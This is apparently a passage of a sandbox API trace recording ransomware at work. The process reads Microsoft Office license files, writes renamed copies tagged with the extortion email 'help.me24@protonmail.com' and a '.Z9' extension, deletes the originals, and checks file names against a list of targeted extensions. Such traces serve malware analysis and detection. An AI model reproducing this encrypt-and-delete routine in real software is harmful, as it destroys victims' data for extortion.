	[0183.955] lstrlenW (lpString="MondoR_Subscription-pl.xrm-ms") returned 29
	[0183.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.956] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11167) returned 1
	[0183.956] CloseHandle (hObject=0x55c) returned 1
	[0183.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220
	[0183.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.957] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.957] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0183.958] GetLastError () returned 0x0
	[0183.958] ReadFile (in: hFile=0x55c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0183.961] WriteFile (in: hFile=0x554, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0183.963] ReadFile (in: hFile=0x55c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.963] WriteFile (in: hFile=0x554, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10e, lpOverlapped=0x0) returned 1
	[0183.963] SetEndOfFile (hFile=0x554) returned 1
	[0183.963] CloseHandle (hObject=0x554) returned 1
	[0183.963] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.963] SetEndOfFile (hFile=0x55c) returned 1
	[0183.967] CloseHandle (hObject=0x55c) returned 1
	[0183.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1
	[0183.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.969] lstrlenW (lpString=".doc") returned 4
	[0183.969] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.969] lstrlenW (lpString=".docx") returned 5
	[0183.969] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.969] lstrlenW (lpString=".pdf") returned 4
	[0183.969] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.969] lstrlenW (lpString=".xls") returned 4
	[0183.969] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.969] lstrlenW (lpString=".xlsx") returned 5
	[0183.969] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.969] lstrlenW (lpString=".ppt") returned 4
	[0183.969] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.970] lstrlenW (lpString=".zip") returned 4
	[0183.970] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString=".rar") returned 4
	[0183.970] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString=".bz2") returned 4
	[0183.970] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString=".7z") returned 3
	[0183.970] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.970] lstrlenW (lpString=".dbf") returned 4
	[0183.970] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.970] lstrlenW (lpString=".1cd") returned 4
	[0183.970] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.970] lstrlenW (lpString=".jpg") returned 4
	[0183.970] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.970] lstrlenW (lpString=".doc") returned 4
	[0183.970] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString=".docx") returned 5
	[0183.970] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.970] lstrlenW (lpString=".pdf") returned 4
	[0183.970] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString=".xls") returned 4
	[0183.970] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString=".xlsx") returned 5
	[0183.970] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.970] lstrlenW (lpString=".ppt") returned 4
	[0183.970] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.970] lstrlenW (lpString=".zip") returned 4
	[0183.970] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.971] lstrlenW (lpString=".rar") returned 4
	[0183.971] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.971] lstrlenW (lpString=".bz2") returned 4
	[0183.971] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.971] lstrlenW (lpString=".7z") returned 3
	[0183.971] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.971] lstrlenW (lpString=".dbf") returned 4
	[0183.971] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.971] lstrlenW (lpString=".1cd") returned 4
	[0183.971] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0183.971] lstrlenW (lpString=".jpg") returned 4
	[0183.971] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.971] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.971] lstrlenW (lpString="MondoR_Subscription-ppd.xrm-ms") returned 30
	[0183.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.972] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=32361) returned 1
	[0184.033] CloseHandle (hObject=0x55c) returned 1
	[0184.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220
	[0184.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.161] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.161] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.162] GetLastError () returned 0x0
	[0184.162] ReadFile (in: hFile=0x530, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x7e69, lpOverlapped=0x0) returned 1
	[0184.166] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x7e70, lpOverlapped=0x0) returned 1
	[0184.167] ReadFile (in: hFile=0x530, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.167] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x110, lpOverlapped=0x0) returned 1
	[0184.168] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.168] CloseHandle (hObject=0x4a4) returned 1
	[0184.168] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.168] SetEndOfFile (hFile=0x530) returned 1
	[0184.172] CloseHandle (hObject=0x530) returned 1
	[0184.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1
	[0184.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.174] lstrlenW (lpString=".doc") returned 4
	[0184.174] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.174] lstrlenW (lpString=".docx") returned 5
	[0184.174] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.174] lstrlenW (lpString=".pdf") returned 4
	[0184.174] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.174] lstrlenW (lpString=".xls") returned 4
	[0184.174] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.174] lstrlenW (lpString=".xlsx") returned 5
	[0184.174] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.174] lstrlenW (lpString=".ppt") returned 4
	[0184.174] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.174] lstrlenW (lpString=".zip") returned 4
	[0184.174] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.174] lstrlenW (lpString=".rar") returned 4
	[0184.174] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.174] lstrlenW (lpString=".bz2") returned 4
	[0184.174] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.175] lstrlenW (lpString=".7z") returned 3
	[0184.175] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.175] lstrlenW (lpString=".dbf") returned 4
	[0184.175] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.175] lstrlenW (lpString=".1cd") returned 4
	[0184.175] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.175] lstrlenW (lpString=".jpg") returned 4
	[0184.175] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.175] lstrlenW (lpString=".doc") returned 4
	[0184.175] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.175] lstrlenW (lpString=".docx") returned 5
	[0184.175] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.175] lstrlenW (lpString=".pdf") returned 4
	[0184.175] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.175] lstrlenW (lpString=".xls") returned 4
	[0184.175] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.175] lstrlenW (lpString=".xlsx") returned 5
	[0184.175] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.175] lstrlenW (lpString=".ppt") returned 4
	[0184.176] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.176] lstrlenW (lpString=".zip") returned 4
	[0184.176] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.176] lstrlenW (lpString=".rar") returned 4
	[0184.176] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.176] lstrlenW (lpString=".bz2") returned 4
	[0184.176] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.176] lstrlenW (lpString=".7z") returned 3
	[0184.176] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.176] lstrlenW (lpString=".dbf") returned 4
	[0184.176] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.176] lstrlenW (lpString=".1cd") returned 4
	[0184.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0184.176] lstrlenW (lpString=".jpg") returned 4
	[0184.176] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.176] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.176] lstrlenW (lpString="MondoR_SubTest2-ul-oob.xrm-ms") returned 29
	[0184.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.178] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11595) returned 1
	[0184.178] CloseHandle (hObject=0x530) returned 1
	[0184.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220
	[0184.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.179] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.179] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.180] GetLastError () returned 0x0
	[0184.180] ReadFile (in: hFile=0x530, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d4b, lpOverlapped=0x0) returned 1
	[0184.183] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0184.184] ReadFile (in: hFile=0x530, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.184] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10e, lpOverlapped=0x0) returned 1
	[0184.184] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.185] CloseHandle (hObject=0x4a4) returned 1
	[0184.185] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.185] SetEndOfFile (hFile=0x530) returned 1
	[0184.189] CloseHandle (hObject=0x530) returned 1
	[0184.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1
	[0184.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.191] lstrlenW (lpString=".doc") returned 4
	[0184.191] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.191] lstrlenW (lpString=".docx") returned 5
	[0184.192] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.192] lstrlenW (lpString=".pdf") returned 4
	[0184.192] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.192] lstrlenW (lpString=".xls") returned 4
	[0184.192] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.192] lstrlenW (lpString=".xlsx") returned 5
	[0184.192] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.192] lstrlenW (lpString=".ppt") returned 4
	[0184.192] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.192] lstrlenW (lpString=".zip") returned 4
	[0184.192] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.192] lstrlenW (lpString=".rar") returned 4
	[0184.192] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.192] lstrlenW (lpString=".bz2") returned 4
	[0184.192] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.192] lstrlenW (lpString=".7z") returned 3
	[0184.192] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.192] lstrlenW (lpString=".dbf") returned 4
	[0184.192] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.192] lstrlenW (lpString=".1cd") returned 4
	[0184.192] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.192] lstrlenW (lpString=".jpg") returned 4
	[0184.192] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.193] lstrlenW (lpString=".doc") returned 4
	[0184.193] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.193] lstrlenW (lpString=".docx") returned 5
	[0184.193] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.193] lstrlenW (lpString=".pdf") returned 4
	[0184.193] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.193] lstrlenW (lpString=".xls") returned 4
	[0184.193] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.193] lstrlenW (lpString=".xlsx") returned 5
	[0184.193] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.193] lstrlenW (lpString=".ppt") returned 4
	[0184.193] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.193] lstrlenW (lpString=".zip") returned 4
	[0184.193] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.193] lstrlenW (lpString=".rar") returned 4
	[0184.193] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.193] lstrlenW (lpString=".bz2") returned 4
	[0184.193] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.193] lstrlenW (lpString=".7z") returned 3
	[0184.193] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.193] lstrlenW (lpString=".dbf") returned 4
	[0184.193] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
